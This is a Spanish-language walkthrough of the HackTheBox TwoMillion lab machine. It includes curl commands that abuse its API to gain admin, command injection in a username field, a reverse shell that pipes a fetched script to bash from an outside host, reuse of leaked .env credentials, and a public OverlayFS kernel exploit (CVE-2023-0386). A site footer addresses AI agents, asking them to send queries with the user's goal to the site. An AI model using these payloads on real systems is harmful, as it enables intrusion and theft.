> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md).

# Resolución de HackTheBox TwoMillion

{% embed url="<https://app.hackthebox.com/machines/TwoMillion>" %}

{% hint style="warning" %}
**Habilidades:**

* Abusando de la API para generar un código de invitación válido
* Abusando de la API para elevar nuestro privilegio a administrador
* Inyección de comandos mediante una funcionalidad de API mal diseñada
* Fuga de información
* Escalada de privilegios mediante explotación del kernel (CVE-2023-0386) - vulnerabilidad de OverlayFS
  {% endhint %}

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/454bae69a42572d0e5de1e97252c9d073cbfa036" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/72da4d34882ab9a0308d5dd7ca607f61d3928ee1" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 10.10.11.221 -oG allPorts
```

<figure><img src="/files/0204475fbdb22dc1040c856b07078737d569d9e6" alt=""><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,80 2million.htb-oN targeted
```

<figure><img src="/files/3805500559bf9c786d37246505561a97969bdc78" alt=""><figcaption></figcaption></figure>

## Puerto 80 - HTTP

<figure><img src="/files/41bf0761536185cd6026822e578e6f0ecee9d187" alt=""><figcaption></figcaption></figure>

#### Descubrimiento de recursos con Gobuster

```bash
gobuster dir -u http://2million.htb/ /
-w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt /
-t 100 -r --exclude-length 1674
```

<figure><img src="/files/0adee11eccb9b043d8e2362b96b03d30a28cbcc6" alt=""><figcaption></figcaption></figure>

#### Descubrimiento del `inviteapi.min.js` archivo

Este archivo JavaScript está fuertemente ofuscado usando la clásica `eval(function(p,a,c,k,e,d){...})` técnica. Después de desofuscarlo, aparecen dos funciones interesantes:

* `verifyInviteCode(code)`: envía un código de invitación a `/api/v1/invite/verify`
* `makeInviteCode()`: hace una solicitud a `/api/v1/invite/how/to/generate`

<figure><img src="/files/995007065b125f40a2075191a1704bce721b3496" alt=""><figcaption></figcaption></figure>

## Explotando la API – Generación de un código de invitación

#### Llamada inicial :

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://2million.htb/api/v1/invite/how/to/generate
```

Respuesta

> {"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr","enctype":"ROT13"},"hint":"Los datos están cifrados ... Probablemente deberíamos comprobar el tipo de cifrado para poder descifrarlos..."}#

#### Desencriptado ROT13 → nueva URL:

{% embed url="<https://rot13.com/>" %}

<figure><img src="/files/a2e6cd7374f49f7cf4eeb19c5dd3a9c4e29cd298" alt=""><figcaption></figcaption></figure>

Para generar el código de invitación, haz una solicitud POST a /api/v1/invite/generate

#### Solicitud:

```bash
curl -X POST /
     -H "Content-Type: application/json" /
     http://amillion.htb/api/v1/invite/generate
```

<figure><img src="/files/c680863f659851e00fb65713e166f771f3474d6c" alt=""><figcaption></figcaption></figure>

Respuesta (base64):

* V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=

Decodificación:

```bash
echo "V1VPSUYtTEs2OFgtSFVHVFctRE9YMVM=" | base64 -d; echo
```

WUOIF-LK68X-HUGTW-DOX1S

Usamos este código para crear una cuenta en el sitio.

<figure><img src="/files/4977a0c7ace9598c06da36de65a3e56428231984" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/faca1bc4c6a81d36806c248b03e3d27e1c181776" alt="" width="389"><figcaption></figcaption></figure>

## Explotación de API en HackTheBox

<figure><img src="/files/453e5936053a21cd0b556d6f468971e8708aba8a" alt=""><figcaption></figcaption></figure>

#### Observación de la API

Al visitar `/api`, podemos observar las rutas disponibles.

<figure><img src="/files/2c432034f9aa03b40c1bb7ad922e55b0a95f6401" alt=""><figcaption></figcaption></figure>

#### Intento de generar la configuración VPN (fallo inicial)

```bash
curl -v -X POST /
     -H "Content-Type: application/json" /
     --cookie "session=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate
```

Respuesta: No permitido.

<figure><img src="/files/11cd0c0f57f234ed71c0f40b2e057f040e4a6839" alt=""><figcaption></figcaption></figure>

#### Modificando nuestro rol a través de la API

<figure><img src="/files/c9113592329dbcd9ab8302e691d433b4e852a8df" alt=""><figcaption></figcaption></figure>

Probamos cambiar la configuración del usuario con la ruta:

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update
```

> {"status":"danger","message":"Falta el parámetro: email"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com"}'
```

> {"status":"danger","message":"Falta el parámetro: is/\_admin"}

```bash
curl -X PUT /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/settings/update -d '{"email": "jordan@jordan.com", "is_admin": 1}'
```

> Respuesta:
>
> {"id":15,"username":"Jordan","is/\_admin":1}

<figure><img src="/files/30816c2a59f06679606b2affcab2f0e5cb1e18ad" alt=""><figcaption></figcaption></figure>

#### Comprobando nuestro estado de administrador

```bash
curl -s -X GET /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/auth | jq
{
  "message": true
}
```

<figure><img src="/files/8a2fc318b5ea640ecafe1ab7896b6c023a6cd171" alt="" width="563"><figcaption></figcaption></figure>

### RCE mediante inyección de comandos

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan@jordan.com"}'
```

<figure><img src="/files/5924fe9894521dd2101a19e2b098366f681c3605" alt=""><figcaption></figcaption></figure>

Intento de inyectar un comando en el campo `username`:

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;id #"}'
```

<figure><img src="/files/51959c24feacd4bb470acc6c3ef63da9003402a0" alt=""><figcaption></figcaption></figure>

#### Shell inversa

1. **Servidor de archivos**

```bash
echo 'bash -i >& /dev/tcp/10.10.14.88/443 0>&1' > index.html
python3 -m http.server 80
```

2. **Netcat escuchando**

```bash
nc -nvlp 443
```

3. **Enviando la orden**

```bash
curl -s -X POST /
     -H "Content-Type: application/json" /
     -H "Cookie: PHPSESSID=vk54bhldiqdlml8prnse47fkv3" /
     http://2million.htb/api/v1/admin/vpn/generate -d '{"username": "jordan;curl http://10.10.14.88 | bash"}'    
```

Obtenemos una shell inversa

<figure><img src="/files/7744cf90123f27166f5e9b5ce769824b7e924290" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios

#### Descubrimiento de archivos sensibles

Al buscar en los archivos accesibles desde nuestra shell, descubrimos un `.env` archivo que contiene credenciales para la base de datos:

```bash
DATABASE=htb_prod
USERNAME=admin
PASSWORD=SuperDuperPass123
```

<figure><img src="/files/dd1db2a445d869cfaa674ef77fc74713df4ad913" alt=""><figcaption></figcaption></figure>

También notamos la presencia de un segundo usuario llamado `admin`.

<figure><img src="/files/1e2e7f9020da34d9772b4d1b06c4b17b5be6d79c" alt=""><figcaption></figcaption></figure>

#### Reutilización de contraseñas

Al probar las credenciales descubiertas, vemos que el usuario del sistema `admin` está usando la **misma contraseña** que la contraseña de la base de datos.

### Bandera user.txt :)

<figure><img src="/files/4b29c0fc7bfcd52f406fb018b60e6c013d00c0e2" alt=""><figcaption></figcaption></figure>

Esta mala práctica nos permite obtener un **Conexión SSH**:

#### Correo del sistema

<figure><img src="/files/cf608cbf69cee9dda2da190e05add62f95e7f14e" alt=""><figcaption></figcaption></figure>

Al conectarnos, un mensaje nos informa de la presencia de un **nuevo correo**. Al leerlo, obtenemos información crucial:

> Hola admin,
>
> Sé que estás trabajando lo más rápido que puedes para hacer la migración de la base de datos. Mientras estamos parcialmente caídos, ¿puedes también actualizar el sistema operativo de nuestro host web? Ya ha habido varios CVE serios del kernel de Linux este año. Ese de OverlayFS / FUSE pinta mal. No podemos comprometernos por eso.

<figure><img src="/files/b16b3ca5f837306e5a0149a208f34fa216295d62" alt=""><figcaption></figcaption></figure>

Este mensaje nos pone tras la pista de una **vulnerabilidad conocida en OverlayFS**:/ **CVE-2023-0386** – una vulnerabilidad local de escalada de privilegios en el kernel de Linux.

## Explotación de CVE-2023-0386 - Escalada de privilegios en OverlayFS

> OverlayFS permite superponer sistemas de archivos. En algunas versiones del kernel de Linux, una mala gestión de la capacidad permite a un usuario sin privilegios ejecutar código con **privilegios de root**.

{% embed url="<https://github.com/puckiestyle/CVE-2023-0386>" %}

**Pasos a seguir**

1. **Clonar el exploit** desde nuestra máquina local:

```bash
git clone https://github.com/puckiestyle/CVE-2023-0386
cd CVE-2023-0386
make all
```

2. **Transferir los archivos compilados** a la máquina objetivo (`scp`, `python -m http.server`, etc.).

<figure><img src="/files/231efa5ccc019d949a2cf8b1a46490c7863bd1d4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/47265f23accb06ad6a17d1f79df5a8b4401f1baa" alt=""><figcaption></figcaption></figure>

2. **En la máquina objetivo**, ejecutar en **dos terminales**:

* Terminal A :

```bash
./fuse ./ovlcap/lower ./gc
```

* Terminal B :

```bash
./exp
```

Si todo va bien, obtenemos una **root** shell

<figure><img src="/files/7abad8fac13c850c14c2397e009070e3049f5bae" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/20d0325b63470f84a95c203f25686d8ee741b3fa" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/871bc23c2138f720dc1ad5f12a563c03b749b891" alt="" width="409"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-easy/twomillion-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
